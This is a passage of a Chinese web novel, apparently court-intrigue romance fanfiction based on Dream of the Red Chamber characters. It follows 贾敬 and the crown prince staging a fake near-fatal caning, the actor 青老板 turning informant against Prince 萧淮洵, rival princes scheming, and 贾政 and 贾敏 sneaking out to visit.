示意那小厮将名字记下,便也不在纠结这件事。 采买这些事,本也轮不到萧淮洵来操心, 只是工部回禀,说户部那边卡了他们申领的花用。 在萧淮洵看来,这就是萧淮川给他的下马威, 故意为难他。 想到此处, 萧淮洵终是没压住心中的怒气。 “砰”地一声, 又朝地面砸了一个茶杯, 碎成了几瓣。 “如果不是萧淮川授意,户部那帮老骨头,也敢卡本王的银子?” 青老板似是被吓到一般, 盯着地上那茶杯碎片, 颤了颤身子。 萧淮洵见状,伸出手抚了抚青老板瘦削的脊背,“是本王吓到青儿了。” 青老板羞涩垂首,实则差点没忍住翻了个白眼。 不过青老板此举倒是缓和了萧淮洵的情绪, 他的脸上很快挂起一抹诡异的笑,似讽刺似高兴。 萧淮洵捞过青老板的手, 把玩着那一个个白玉般的指节, 嘴中哼出一句, “他惯是个道貌岸然的。” 青老板稍稍偏头, 故意询问, “王爷说的是……太子殿下?” 萧淮洵:“不是他还能是谁?” “他倒是狠心, 说打就打, 三十大板呐。” 他嘴上说着萧淮川心狠, 可话里全是对贾敬挨打的幸灾乐祸。 青老板眸光微闪, 不动声色抽出手,拿过一旁的果盘,漫不经心的剥起了葡萄。 “我听闻,贾二爷打小就跟在太子殿下身后,对他很是纵容。” “纵容?”萧淮洵扯了扯嘴角,“本王以前也这么觉得。” 他年少时还曾因为这个而嫉妒过贾敬。 “若真是如此,你就是被咱们太子殿下的表象欺骗了。”萧淮洵声音透着凉意和讽刺,“都道他品性卓绝,实则他最是虚伪。” “他对贾培元的那些好,你以为是为了什么?” 青老板一副不解的模样,他也想听听萧淮洵是怎么想的。 萧淮洵扬了扬下巴,嗤笑道:“不过是冲着贾培元背后的宁国府罢了。” “想当年,其父贾代化深得父皇宠信,萧淮川无母族帮衬,他可不得好好拉拢一个权臣?” “告诉你一个不为人知的事儿,当年父皇给他选的陪读可不是贾培元。本王听母妃说,想要抬举一下文淑皇后的娘家,选了她娘家一个侄儿。” 萧淮洵嘴角扬着,语气是藏不住的得意,他母妃的出身可比那位文淑皇后高得多。 “可你也知道,文淑皇后所在的贺家不过是平民出身,毫无根基,萧淮川哪里瞧得上,这才闹得换了人,这换的便是贾培元。” “那相处了这么些年,也应当有了深厚情谊吧?”青老板将剥好的葡萄放到一旁的空碗中,“这三十板子或许只是做给外人瞧得。” 萧淮洵捡了一枚剥好的葡萄放入口中,“原先本王也以为他是在做戏,可能早就交代好了,专拣伤皮不伤骨的地方打,只是瞧着严重。” “其实不然。”萧淮洵摇了摇头,语气也沉了几分,“本王听闻,贾培元挨板子的那条凳上浸满了血,老三也派人探过,贾培元的伤势差点要了他的命。” “萧、淮、川。他当真下得去手,他要贾培元死。” 萧淮洵说着,自己都不由得后背发凉。 青老板更是吓得手上一颗葡萄掉落,滚到了地上,“这、这……” “何必如此……”青老板嘴唇嚅嗫了几下,眼里含着怯意和不解,讷讷开口, “若是太子殿下真的生气,好好教导一番便是,京中逛楼倌听曲儿的王孙公子们,可不少。” 萧淮洵贵为皇子,天丰帝也不过是让其禁足。 入秦楼楚馆,看上一个戏子,后果有那么严重吗? 只是这话,青老板没有说出口。 萧淮洵脸上尽是玩味,“确实不是什么大事,但那个人,不能是贾培元。” “他受万人敬仰,百官称赞,怎可让其身旁人将他抹黑,多年努力岂不是付之东流?” 如今的事态发展,萧淮洵是畅快的。 且不说他自身的情况,就说他被老三萧淮泽拿住把柄后,就已经破罐子破摔了,也歇了争位的心思。 只是想瞒着天丰帝,能瞒一日是一日。 这次被撞破,萧淮洵心慌之后,反而是松了口气,还意外将贾敬拉下水,着实难得。 巧得让萧淮洵都觉得不对劲起来,他仔细盘算一下,好处和矛头都指向一个人。 老三萧淮泽。 就连萧淮洵那晚让人去处理的李玉衡,也被老三的人带走了,紧接着他与贾敬在春风楼里的事情被御史参了。 “贾二爷倘若真的出了事,恐怕也不好交代吧?”青老板的话让萧淮洵回过神。 他眼睛转动,目光落在青老板有些发白的面庞上,瞅见他眼底的担忧,忽的又是一笑,手指捏住青老板的下巴, “三十大板,说重不重,说轻不轻,他如果真的挺不过去,那就是他命不好。” “倒是你那位弟弟,怕是要哭瞎了眼。” 青老板被迫仰起头,听着萧淮洵提起水月。 “是啊,月儿这些天都是以泪抹面。”青老板轻垂眼睑,脸上是对水月的心疼。 萧淮洵在试探他。 他还在怀疑春风楼那天,青老板是否与贾敬有过接触。 萧淮洵盯着青老板看了好一会儿,脸上笑意更深了几分,“他也算是得脸了,贾培元为他伤成那样,你该为他高兴才是。” “他该去看看了。”萧淮洵松开了捏着的下巴,无视青老板下颌的红痕,看似提醒,实则是命令。 青老板低垂着头,乖乖应道:“是。” 萧淮洵将旁边盘中青老板剥好的最后一颗葡萄吃下,对他一挥手。 青老板这才转身离开,转过身的那一瞬间,他的表情没什么变化,眼底却泛着冷意。 他回去的马车是萧淮洵安排的,一路将他送到了崇雅堂后楼的住处,见他进去,马车和小厮才离开。 青老板一进门,小厮小力就迎了上来,满脸担忧,将青老板上下打量着, “公子,您没事吧?” 每次萧淮洵来接青老板,都不让其他人跟着。 青老板嘲讽道:“他能将我如何?” 说完这句,青老板稍稍正色,压低了嗓音,“班主他们都睡下了?” 小力同样轻声回答,“都歇下了,后门门房那边我晚间送了酒,想来现在也都醉了。” 青老板:“我们走。” 两人借着夜色悄声来到崇雅堂后门,偷偷溜了出去。 小力带着青老板拐进一个巷子,那里停了一辆马车,车边候着的正是阿寿。 他朝青老板躬了躬身,做出一个请的手势,“您请,我家二爷正等着您呢。” 青老板丝毫没有犹豫,上了马车,当撞见正斜靠在马车里看书的贾敬时,当场愣住。 贾敬收起书,笑着看向青老板,“没想到我会在这儿?” 青老板很快回过神,从容坐下,“二爷递来的纸条说是别院一会。” “你让阿寿带话,说这个时辰能回来,我想着就直接在这儿等着,捎上你。” 贾敬也将青老板打量一番,有些好奇地问: “你是怎么断定,这个时辰你可以回来?” 青老板直直望着贾敬,“贾二爷是好奇,齐王召我入府,却为何不留我过夜吧?” 被青老板直白点出,贾敬顺势承认,等着青老板的回答。 “因为……”青老板顿了顿,丢出一个雷,“他不行。” 贾敬眨了眨眼睛,不由得扯了扯嘴角,“他不行是指……” 心中不自觉得冒出一种猜测。 “他天阉。” 青老板神情无丝毫变化,语气淡得如水一般。 贾敬心中猜测落了地,只觉得有些好笑。 萧淮川发现对自己的情谊后,故意骗自己不举,却没想到,萧淮洵是真的不举。 贾敬紧接着看向青老板的目光更加好奇,“那你们……” 青老板也不避讳,“他天阉,那方面不行,也不愿让人知道。” “所以面对女子,他会下意识的自卑,会变得很暴躁,面对男子就会好上许多。” “但要说他真的喜欢男子……”青老板迟疑片刻后,给出一个结论,“他只是想要男子在他面前臣服的快感,想看男子在他面前低眉顺眼,所以挑的都是些面容姣好之辈。” 譬如他自己。 “我们什么也没发生过,他不会让人看见的。”青老板补充了句,“这件事,是我一次偶然听到他和大夫的对话。” “虎狼之药他没少吃,一次都不行。”青老板语气满是鄙夷和轻蔑。 贾敬听着,眉头却蹙了起来,若是他没记错,上一世,萧淮洵分明是有子嗣。 新帝登基后,萧淮洵受封忠顺王,他的王妃同年为他诞下嫡长子,授封忠顺王世子。 “你说的这件事,千真万确?”贾敬盯着青老板,又问了一遍。 青老板颔首,“自然,这件事千真万确。” 且不说他自己跟着萧淮洵的这两年,他们之间什么都没有,就连在他之前被萧淮洵看上的人,根据他的试探,也未成事。 “嘶……”贾敬不由得到抽一口气。 萧淮洵自己给自己戴绿帽子啊。 狠人一枚。 第108章 贾敬的思绪也只是飘忽了一瞬, 很快就回到了正事上。 “我给你的木料行名字,有没有告诉给萧淮洵?” 青老板:“自然。” “如您所料,他对于户部将工部款项花用驳回一事很是气恼, 我便借机提了。” 青老板接着将萧淮洵和他说的话全都告诉了贾敬,这是他和贾敬合作的诚意。 贾敬听着,不免笑了。 他与萧淮川这一出苦肉计, 若是没有平安堂李大夫和刘太医从中相助, 或许会有一大部分人不会相信。 只是贾敬没想到, 萧淮洵对此是深信不疑, 觉得萧淮川是在利用自己。 萧淮川究竟是做了什么,在萧淮洵眼里竟是这样的冷酷无情,十恶不赦。 末了, 青老板说道:“他还在怀疑那天春风楼之事, 因此提到了水月,想要水月去探望您。” 贾敬眯起眼,“他既然想要水月来探望我,那便满足他。” “日子我都选好了, 就两日后吧。” 青老板:“您两日后有什么安排吗?” 贾敬故意卖了个关子,笑而不答, 青老板也识趣儿的没有再问。 马车停了下来, 帘子被撩起, 阿寿探出脑袋, “二爷, 已经到别院了。” 贾敬率先下了马车, 青老板紧跟其后。 这处别院不是别处, 正是萧淮川到别院, 也是上次他从春风楼抱贾敬离开后, 来的地方。 青老板只看一眼,就知这别院不简单。 “进去吧。” 一进门,青老板便看见主位随意坐着的那名白衣锦袍男子,丰神秀逸,气度不凡。 虽是第一次见到这人,青老板当即猜出了此人身份,作揖行礼,“见过太子殿下。” 萧淮川只是随意看了眼青老板,就抬手示意他起身。 青老板这边刚起身,就见萧淮川站起来径直朝他身后走去,极其自然的牵起贾敬的手,落了座。 贾敬瞥了眼自己被萧淮川拉着小心摩挲的手,转头对上青老板略微探究的眼神,轻咳了一声, “青老板也请坐。” 小德子带着几位小丫鬟上了茶,便退了出去,还不忘将门关上。 青老板从踏进这里的第一步,心中便隐约猜到贾敬带他来此究竟所为何事。 只见他再次缓缓站起身,恭恭敬敬地朝萧淮川和贾敬深深一拜。 虽是下拜,但脊背挺直。 贾敬先是有一丝诧异,紧接着唇角勾了勾。 青老板语气坚定恳切:“自两年前跟随在齐王身侧,无意也好,有意也罢,水青略微知晓了些许不为人知的秘密。” “倘若殿下与二爷不介怀水青过往,愿意听水青所言,水青定然知无不言,将知道的一切和盘托出,绝不隐瞒。” “水青愿效忠殿下和二爷。” 听了青老板这番表忠心的话,贾敬脸上挂着笑,起身将青老板扶起, “青老板不必如此拘谨,快快起身,我们坐下谈。” 待青老板重新落座后,贾敬才不急不慢道:“效忠二字太过严重,就如我们先前所说的那般,合作即可。” 青老板微垂的眼眸眨了眨,对于贾敬说的话并未立刻回应,他在心中默数了三个数,见贾敬身旁萧淮川始终沉默,没有开口之意,知道刚才那番话贾敬便能做主,也不免有些心惊。 心中刚涌起想要窥探一丝贾敬与太子殿下之间关系的念头,理智便将他拉了回来。 贾敬:“青老板如此有诚意,我自然也是坦诚相待。” “方才青老板说的那些,确实是我想要的,甚至于后面还需要青老板潜伏在齐王身边,帮我探寻些消息。” “相对的,青老板有何需求,也请今日一并说了吧。” 青老板抬眸看向贾敬,余光瞥见那位太子殿下正慢悠悠喝着茶,心思转了几圈,终是开了口。 “贾二爷那日在春风楼提及了……”青老板抿了抿唇,吐出那个心中默念了不知多少次的名字,“李清臣。” “想必您一定是将事情都查清楚了。” “先前在南无寺与您遇见,也并非是巧合。” 贾敬颔首:“是。” “李清臣,或者说南无寺的净尘法师,他与你的过往,我大抵是知晓的。” 贾敬感受着手腕上传来的灼热之感,瞥了眼桌案,衣袖宽大倒是看不出来下面那交握着的手。 “我让你找寻的东西,找到了吗?” 贾敬面不改色地抽出了被萧淮川私下握着的手腕。 萧淮川遗憾地收回手,将一旁放置的东西朝贾敬那头推了推,“嗯,这个。” 见萧淮川手又要伸来,贾敬连忙拍开,还给了萧淮川一个警告的眼神,又暗自看了眼青老板,见他手捧着茶杯低垂着眼,像是没有注意到此处。 贾敬这才将东西拿起,转头放到青老板面前。 青老板端着茶杯的手一滞,目光黏在了那些东西上,喉头发涩,“这些是……” 贾敬嘴角上扬,“看来你是认出来了。” “没错,这些是净尘法师这几年手抄的佛经抄本。” “这份礼,希望青老板喜欢。” 青老板连忙将手上的茶杯放下,手颤颤巍巍伸向那些抄本,就在要触碰到的那一瞬间,手腕悬住,过了一息,才轻轻抚摸上去,指腹滑过封皮上的泛黄折痕,宛若珍宝。 李清臣在大牢里已经死了,背负污名。他斩断了种种过往,只是南无寺的和尚净尘,看似一切都认了命。 可他真的甘心吗? 他在南无寺抽空抄着各类佛经,用抄本佛经换取微薄的抄写费,用来买四书五经、笔墨纸砚。 这些青老板都知晓,没人比他更清楚这一切。 他本可以直接接济李清臣,但李清臣决计不会接受,所以青老板只能将李清臣所抄的抄本佛经一一买下,并爱惜珍藏。 他心疼用抄本换四书五经的李清臣,更心疼失了清白身份再也无法科举,只能靠和尚净尘身份苟活的李清臣。 青老板到底是有心无力,想要收集到全部的抄本谈何容易,没想到,贾敬居然寻来这么多。 “二爷的心意,水青心领了。”青老板将那些抄本整理好,深吸一口气,再次感谢。 贾敬莞尔,没多说什么。 青老板再次开口,“二爷,水青愿意听从您和殿下的任何安排,但只有一个要求。” “请说。” 青老板一字一顿道:“洗脱李清臣的冤屈,让他清清白白活在这个世上。” 贾敬偏头,“就这个?” 青老板点头,“是,就这个。” 萧淮川闻言难得抬眼瞧了他一眼。 贾敬手指轻轻敲在桌案上:“我们既是合作关系,就不能亏待了青老板。” “允诺你一个条件,待你想要的时候,再提,如何?” 青老板并未拒绝,“那便谢谢殿下和二爷了。” 贾敬颔首,“青老板跟着齐王,往后……” 青老板向萧淮川和贾敬说了许多事关齐王的事,包括他所知道的关于齐王手下的亲信。 贾敬吃了一肚子瓜,才说到了他先前卖的关子。 “齐王不是想要水月来给我探病吗?我说了,安排在两日后。” “宁国府贾二爷危在旦夕,请了道观真人和佛寺法师入府做法,人多,热闹,是个好时候。” 青老板诧异地望向贾敬,萧淮川更是直接变了脸色,直接握住贾敬的手腕,低喝道: “休要胡说?” 贾敬见状,朝青老板使了个眼色,“青老板,今日已然不早,我吩咐人送你回去。” “两日后的安排就这么说定了,水月还请青老板带到府上去。” 方才萧淮川变脸的瞬间,青老板便察觉出不对劲,加之贾敬这一番提醒,很有眼力见的告退了。 青老板一出去,贾敬就讨饶般的看向萧淮川,“手疼……” 萧淮川手松了几分,说出的话却像是从牙缝里挤出来一般,“两日后?” “你又不跟我商量,自作主张?” 贾敬讪讪一笑,“怎么能叫自作主张呢?” “我只是,只是……”贾敬眼神飘忽,“只是没来及和你说呢。” 贾敬连忙转移话题,“萧淮洵和萧淮泽肯定还在怀疑这件事。” “只有安了他们的心,他们才能将心思放到了修葺东宫上,我们的计划才能更好的进行下去。” “他们定然还会试探我,与其让他们试探我,不如我自己搭个戏台子,喊他们来看。” “那么,我对外宣称我命不久……” 贾敬话未说完,尾音便化作了支吾声。 “唔唔唔……” 萧淮川直接捏住贾敬那张喋喋不休的嘴,迫使他的嘴翘成了个圆。 “你可闭上嘴吧。” 贾敬看似乖巧的眨了眨眼睛,一副我错了的模样,可唇却动着,瞬间将萧淮川的掌心濡湿。 手心发痒,萧淮川松开手,“什么都舔,属小狗的吗?” 贾敬歪了歪头,“我属什么,淮哥还能不知道?” “况且,比起你,我这算是什么?”贾敬撇了撇嘴,他还记着因萧淮川弄出的糗事。 萧淮川轻笑,“还记着呢?” “你当如何?”萧淮川一副任君为所欲为的模样。 贾敬的桃花眼眯起,勾着唇,色若春花,“我听闻,你这儿别庄后面,有座温泉?” “一起?” 第109章 贾敬有胆撩人, 却没胆应,最终温泉浴以他要应付两日后的大戏养足精力为由给逃了。 跑之前还不忘叮嘱:“戏台子我已经搭上了,记得配合我唱戏啊!” “跑得比兔子还快……” 萧淮川看着贾敬蹿出去的背影, 不由地勾了勾唇,眉梢微挑,漆黑凤眸闪着笑意, “想要温泉浴……那该去准备些东西了。” 贾敬这边刚从西角门进去, 刚穿过垂花门, 转弯就撞见了史云棠。 史云棠站在廊下, 抬眼望着与她相对的贾敬,看似随意招呼了声:“回来了?” 今已是深夜,若是往常这时候, 史云棠早就歇下了, 贾敬对上史云棠好整以暇的眼神,藏于袖中的手指下意识蜷缩。 史云棠是特地在此等他。 贾敬不由地身子一滞,他与萧淮川私下见面一事,并不想让史云棠知晓, 心里忍不住泛起一丝别扭,借口道: “出、出去走走, 消消食。” 史云棠稍稍挑起秀眉, 似笑非笑地望着贾敬, “阿元这苦肉计装得正是最要紧的时候, 多少人盯着呢, 可要注意啊。” 贾敬闻言, 抿了抿唇, 有些纠结。 他与萧淮川的事情, 其实并不是必须要隐瞒史云棠, 只是贾敬还未做好准备,没想好该怎么和史云棠说。 一时间,贾敬并未答话。 “府里园子这么大,还不够你消食的吗?” 不等贾敬回答,史云棠接着道:“应当是出去见了什么人吧。” 史云棠杏眸直勾勾地盯着贾敬,似是要将贾敬看透一般,“嫂子还真是好奇,哪位值得阿元你冒着这样的风险,出去见上一遭。” 贾敬见史云棠将话多少了这个地步,也不愿再找什么借口隐瞒,他伸出手,邀史云棠在廊下石凳上坐下。 两人落座后,贾敬微微垂眸,轻声道:“我去见淮哥了。” “和他商量商量之后的计划和对策,两日后还需他出些力。”贾敬又补了一句。 史云棠手中轻轻摇着扇子,勾唇笑了一声,那笑声在静谧的廊下显得有些突兀,贾敬下意识抬起眼看去。 “只是这样?” 贾敬沉默,没说话。 他大可以以公事为由接着忽悠,可面对真心关心他的嫂子,贾敬说不出。 可让他直接向史云棠坦白,贾敬亦羞涩地说不出口。 史云棠见贾敬那副坐立难安的模样,他的无言与纠结也尽收眼底,史云棠大抵猜出了几分。 “你是不是和他在一起了?” 史云棠冷不丁的冒出这么一句话,让贾敬一愣,随后他又释然了。 他嫂子这个人,向来是有一颗七窍玲珑心,冰雪聪明,先前他对萧淮川的心意情意,也是史云棠最先看破。 “果然瞒不过嫂子您的眼睛。”贾敬有些无奈。 “瞒?”史云棠反问,“你那也叫瞒?” 语气里是毫无隐藏的嫌弃。 贾敬眨了眨眼睛,不理解史云棠何出此言。 史云棠撇了撇嘴,手执着扇子,悬空点在贾敬的脖颈处, “嫂子我还没有到人老眼瞎的地步,就你那脖子,这些日红痕一片,跟狗啃的一样。” 可不就是狗吗? 贾敬的脸“唰”地一下,变得通红,滚烫,手下意识捂住如今早已经没了痕迹的脖子,支支吾吾,“我这是……” 解释的话还未说出口,就见史云棠一挥手中团扇, “我也不是素雪那等小丫头,还能被你那什么蚊虫叮咬所忽悠了?” 贾敬只觉臊得慌,都不敢去看史云棠,心中又免不得暗骂萧淮川。 难得见贾敬这幅模样,史云棠就更想逗他几分,又道: “咱们府在京中虽只是个中层之家,比不得王孙贵胄,更比不得宫里,可府里护院还没弱到连人翻墙进来都不晓得。” “你们年轻人果然是会顽,我前些日子刚听了那出张生翻墙会莺莺,你们倒好,直接给我演上了。” 贾敬听史云棠将萧淮川翻墙来私会自己一事点破,热意直接烧到了耳根。 “嫂子,阿元求你,这……这事儿不要再说了。” 贾敬直接站起身,朝史云棠拜了拜,动作偏急,尾音含着些撒娇。 史云棠见贾敬如此,也知不好再逗下去,若是真的将人吓着或者逗恼了,就不好了。 她拍了拍贾敬的肩,让其坐下,叹了一声, “你能和他在一起,我自然是高兴的。” 两情相悦总比一人苦熬着相思要好,只是那人的身份到底不同…… 史云棠望着贾敬泛红发烫的脸,羞涩眉眼里是压不住欣喜,终是没将心中担忧的话说出口,只是道: “下次还望殿下走门吧,整日翻墙,倒真显得我们宁国府无能了。” 贾敬有些不好意思地搅着手,点头,“我会与他说的。” 史云棠点点头,又提到两日后的法事,“你先前与我说的,我都安排妥帖了。” “请了玄真观的道长真人还有南无寺的法师,到时候咱们府派人去接。” 贾敬:“南无寺的净尘法师也请了?” 史云棠:“请了,净尘法师的师兄净虚法师也会来。” 贾敬点了点头,朝史云棠又是一拜,“那日家中许是会来不少人,还望嫂子多费心了。” 鱼龙混杂,万不能出什么差池。 “西府那边,嫂子也帮忙遮掩些。”贾敬又补了一句。 史云棠正色道:“阿元放心,这些我都明白。” “时辰不早了,阿元早些回去歇息吧。” 翌日宁国府一片慌乱,不一会儿,宁国府贾二爷意识不清陷入昏迷一事传遍了京城,连宫中的太医都束手无策。 宁国府当家主母无法,只好去道观寺庙请了真人法师来做法事,为贾敬祈福。 梁王萧淮泽悄声潜入齐王萧淮洵的府邸,彼时,萧淮洵正在家中听戏班子唱曲,旁边陪着的正是青老板。 “二哥好雅致,听曲儿呢?” 萧淮泽在萧淮洵身旁坐下,掠了眼被萧淮洵揽着的青老板,就转开眼。 萧淮洵嗤笑,一张口就是阴阳怪气,“父皇让我在家禁足,不像你,大忙人,还有时间来看看我。” “比不得二哥对工部了如指掌,就算是在府里,父皇都放心将差事交于你办。” 萧淮泽也不恼,“我刚回京,在大理寺也是初来乍到,幸亏严大人相助,才未出乱子。” “严大人如此相待,也是看在二哥您的面子上。”萧淮泽恭维着萧淮洵。 萧淮洵哼笑一声,没搭话,青老板抬眸觑了一下,便知萧淮洵对此恭维很是受用。 “你今日来,有何贵干?”萧淮洵懒洋洋问道。 萧淮泽端起一杯茶呷了一口,“听闻宁国府那边去道观和寺庙请了人来做法事。” 萧淮洵一听起了劲,连忙坐直身子,“太医去看过了?” “嗯,反复起热,昏迷不醒,刘太医看了也没办法,就连父皇都知道了。”萧淮泽点头。 “这伤得可真不轻。” 萧淮泽和萧淮洵心中对于贾敬这次挨打,已经信了有七八分了。 萧淮洵琢磨了一会儿,有些乐呵,“居然连父皇都惊动了。” “父皇没责备萧淮川?” “怎么说那贾培元也是宁国府的二公子,还是翰林院官员,岂能被萧淮川下令打出了人命?” 他嘴上说着,可恨不得贾敬当即就出了事,让萧淮川这个储君名声尽失。 萧淮泽嘴角也弯起一抹没什么温度的笑意,凉凉开口, “贾培元身后可是四王八公那一帮子老勋贵,就算是看在他们的面子上,父皇也不会为他遮掩。” “刚才得到消息,父皇将他召进宫狠狠训斥了一番,还让其上门赔罪。” 萧淮洵对于这惩罚却不甚满意,“就这样?” “父皇还真护着他。” 萧淮泽瞥了他一眼,“他可是储君。” “不过,这样就够了,无论贾培元这场戏是不是真的挨打,这都已经不重要了。” 萧淮洵没明白,“怎么说?” 萧淮泽:“以前谁不夸他德行卓绝,出事妥当?经此一事后,他狂躁暴戾的名声可要洗不掉了,打的还是跟他最亲近的贾培元。” 连自己最亲近的人都下得去手,事情也不是什么十恶不赦的大事。效忠萧淮川的人,岂不是要人人自危了? 对于这场面,萧淮泽乐见其成,算是破了萧淮川的金身。 萧淮洵撇了撇嘴,浇了盆凉水,“你也别高兴的太早,他惯是会装,父皇让他上门赔罪,他若是玩一套负荆请罪,贾培元再给他一个台阶下,又能全了他能伸能屈的名声了。” “那就将台阶给他敲碎了。”萧淮泽手指轻轻在说面上敲着,“得想个法子,让他那天下不来台阶。” 萧淮洵微微眯起眼,目光随意落在一旁的青老板身上,忽的想起来了什么,冲着青老板开口, “青儿先前是不是和本王说过,你那弟弟想这两日去探望探望情郎?” 青老板骤然被点到,愣怔了一下,随后赶忙点头,“是,他担心贾二爷呢。” 萧淮洵转头看向萧淮泽,“就让咱们的太子殿下,见见贾培元宠爱的小戏子吧。” 第110章 荣国府内。 贾政用膳食时显得漫不经心, 史氏见状,仔细打量着贾政的脸色,关心问道: “政哥儿是身子哪里不舒服?” 贾敏闻言也朝贾政看去, 贾政抿唇,小心翼翼看了没说话的贾代善一眼,开口, “孩儿听闻敬二哥哥……”贾政说着顿了顿, 隐去了个别刺耳的字眼, 接着道, “实在放心不下,想去看望敬二哥哥……” 此话一出,史氏原本端庄关切的神情骤然变了变, 嘴唇微微颤抖着, 不断地给贾政使眼色。 这些时日,关于贾敬的流言蜚语传遍了全京城,好男风本不是什么大事,但他与齐王起了争执, 齐王被天丰帝罚了禁足,贾敬则是被太子萧淮川罚了杖刑。 这事本就不光彩, 就连贾代善也听了些同僚的闲言碎语, 全京城的议论如针一般, 刺痛着贾家两府的颜面。 至于被打的下不来床的贾敬, 少不得有人觉得他活该, 罪有应得, 谁还想凑上前去看? 一时间, 屋内静默, 空气凝滞, 压抑得仿佛能让人喘不过气来。 贾代善紧绷着脸,嘴角稍稍下垂,神情晦涩不明,贾政有些怵这样的父亲,但他想去探望贾敬的心,还是战胜了心中对贾代善的敬畏。 “父亲,孩儿……” 贾政刚开口,话才说出几个字,就被史氏厉声呵斥打断, “政哥儿,休要胡闹!” “你敬二哥哥如今这状况,东府里头早已是乱成了一团麻,你又何必此时去添乱?” 史氏说着,身子朝贾政的方向倾来,眼睛紧紧盯着贾政,似警告似恳求, “你敬二哥哥有宫里太医瞧着,不比你去看的有效?” 贾敬嘴唇蠕动,还想说些什么,史氏连忙拉了一下贾代善的衣袖,“公爷,您说呢?” 贾代善目光扫过史氏,落在正看着他的贾政身上,缓缓开口道:“你母亲说的有理,近日就好好在家温习,没几日就要去国子监读书了。” 史氏也连忙在一旁帮腔,“还不听你父亲的话。” 贾政的嘴唇合拢抿着,垂下眼睑,缓缓低着头,恭敬道:“孩儿知道了。” 他站起身,躬身道:“父亲母亲慢用,孩儿先回去温习功课了。” 贾政刚转身,坐在史氏旁边的贾敏也跳下凳子,“我也好了,父亲母亲慢用。” 史氏伸手稳了稳贾敏微微晃悠的身子,对贾政道:“政哥儿,你刚好顺到送敏儿回去。” “好。” 贾敏几步就到了贾政旁边,自然的将自己的小手塞到贾政手心里。 贾代善看着一大一小的背影出了门,才淡淡看向史氏,未先开口。 史氏被这么一盯,手中握着的帕子就下意识得搅在了一起,眼皮微微跳着,勉强牵起嘴角,“公爷怎么这样看着妾身。” 贾代善压了压眉眼,沉声道:“近日东府事多,我看敷哥儿媳妇也是个能顶事的,你这些日就别过去添乱了。” 史氏连忙应着,说是添乱,可就宁国府那个情形,她躲还来不及呢,可不愿上去凑什么鬼热闹。 贾代善定定盯着史氏,“府里你这些日也注意着,若是有什么嘴碎蔑视主子的下人,也要严惩不贷。” “是!” 史氏自是听出了贾代善话中的敲打之意。 贾敬在此事件中,再如何不堪,也不是家中下人可以议论的。 这厢贾政牵着贾敏的手,心不在焉地走着,贾敏停下脚步,贾政感受到拉扯,才猛然回神,转头看向贾敏, “敏儿,怎么了?” 贾敏又黑又大如黑葡萄般的眼睛,在月光下闪烁着狡黠,她朝贾政勾了勾手,“二哥哥,你低下头来。” 贾政不明所以,却还是听从贾敏的话,凑到了贾敏面前。 贾敏稍稍垫脚,在贾政耳边用气声道: “二哥哥是不是想去看敬二哥哥?” 贾政先是看了眼不远处跟着他们的小厮和丫鬟,犹豫了片刻,在妹妹的注视下,还是“嗯”了一声。 贾敏接着悄声道:“我知道怎么去东府还不会被母亲他们发现。” “真的?” 贾敏点头,“嗯嗯。” 紧接着,贾敏就拉着贾政的衣袖,撒娇道:“二哥哥,我们玩捉迷藏吧!” 声音不小,跟着的仆人都听得见。 贾敏身边常伺候的丫鬟连忙劝道:“三姑娘,如今天都黑了,可玩不了,赶明儿白天再玩儿?” 贾敏翘着嘴,摇头,“我就想今天玩儿。” 丫鬟一脸为难地看向贾政,“二爷……” 贾政将贾敏一把抱起,“今日不早了,白天二哥哥再陪敏儿玩,好不好?” “好吧。” 贾敏搂住贾政的脖子,轻声问,“二哥哥,我们现在不去见敬二哥哥了吗?” 贾政:“今日太晚了,不方便去。” 他就算想去,也知道如今这个时间不合适。 既然已经决定偷溜进宁国府,那么就该选一个最合适的时机。 一日后,宁国府做法事那天。 再过几日贾政就要入国子监读书,原先的族学那里就不去了,这些天都是他一人在书房里温书,因此还算自由。 贾敏起了一个大早,连史氏都觉得有些稀奇,“你这小懒猫今日怎么还早起了?” “二哥哥说要陪敏儿在院子里玩儿。”贾敏很是开心,大眼睛都弯成了月牙儿。 史氏见小女儿这样高兴,也不扫兴,“你二哥哥这些日子一直窝在屋子里读书,和你一起玩一玩也好。” “春鹂,你照看着三姑娘。” 史氏让自己屋子里的一位二等丫鬟跟着贾敏。 贾敏对春鹂笑了笑,“春鹂姐姐,我们走吧,二哥哥肯定已经在等我了。” “二哥哥,敏儿来啦!”贾敏蹦蹦跶跶到了贾政的院子,贾政此时正坐在院子里看书。 这一页,贾政已经看了快半个时辰了。 听到贾敏的声音,贾政连忙合上书,站起身,“小敏儿来了?” “是啊,二哥哥说要陪敏儿捉迷藏的,走,我们去玩。” 贾敏拉起贾政的手,就朝院子后面的花园跑去,春鹂跟在两人身后,见贾敏跑起来,她忍不住叮嘱, “三姑娘,您慢些。” 贾政转眼掠了春鹂一眼,“我会照看敏儿。” 春鹂咬了咬唇瓣,小声应道:“是。” 刚刚贾政的那一眼神,让春鹂有些怯。贾敬和贾敏在园子玩闹时,春鹂站在一旁,没有靠近。 贾敏玩着玩着却跑来拉住春鹂,“春鹂姐姐,来陪我一起玩,人少玩的没意思。” 春鹂想拒绝,可贾敏太过可爱,太会撒娇,贾政也未开口,春鹂便加入了进来。 “哇,我找到春鹂姐姐了,那么这局就让春鹂姐姐来找我们吧。” “春鹂姐姐,你不能偷看哦。”贾敏将春鹂的眼睛用帕子蒙上后,就拉着贾政躲进了角落一处假山里。 一进去,贾敏就拨开了假山里一挂藤蔓,贾政立刻就看见了藤蔓后的一口小洞,这个位置一出去就是西府和东府之间的巷口! 贾政看着贾敏,刚要劝贾敏回去,自己出去,就见贾敏之间迈腿钻过了那口洞,贾政只好跟着钻了过去。 出了那口洞,贾敏对贾政做了一个鬼脸,“二哥哥,我可不傻,若是我一个人留在那里,肯定要被母亲念叨的头疼。” 贾政叹了口气,牵起了贾敏的手,偷偷朝宁国府后门走去。 “刚刚是不是看见了什么东西过去?” 几个护卫的声音传来,贾政拉着贾敏就躲在了一处角落。 刚站稳,贾政被人猛地拉扯了一下。 贾政本也心虚,被人这样一拉,自己也是跟着哆嗦,一回头,惊讶的张大嘴巴,“怎么是你?” 皇甫玦做噤声状,“嘘!你轻声些!” “这边刚过去几个人,你别把人召来了。” 皇甫玦朝贾政躲着的地方挤了挤,“朝里走走,带我躲一个。” 贾政一手护着贾敏,一边被迫朝角落里躲去。 皇甫玦像是怕被人发现,和贾政贴的很紧,贾政不自在的动了动,压低着声音, “你在这里鬼鬼祟祟干什么?” 皇甫玦一边打量着周围,一边瞥了贾政一眼,“你不也鬼鬼祟祟吗?” 贾政可不想被护院发现,也懒得跟皇甫玦解释掰扯。 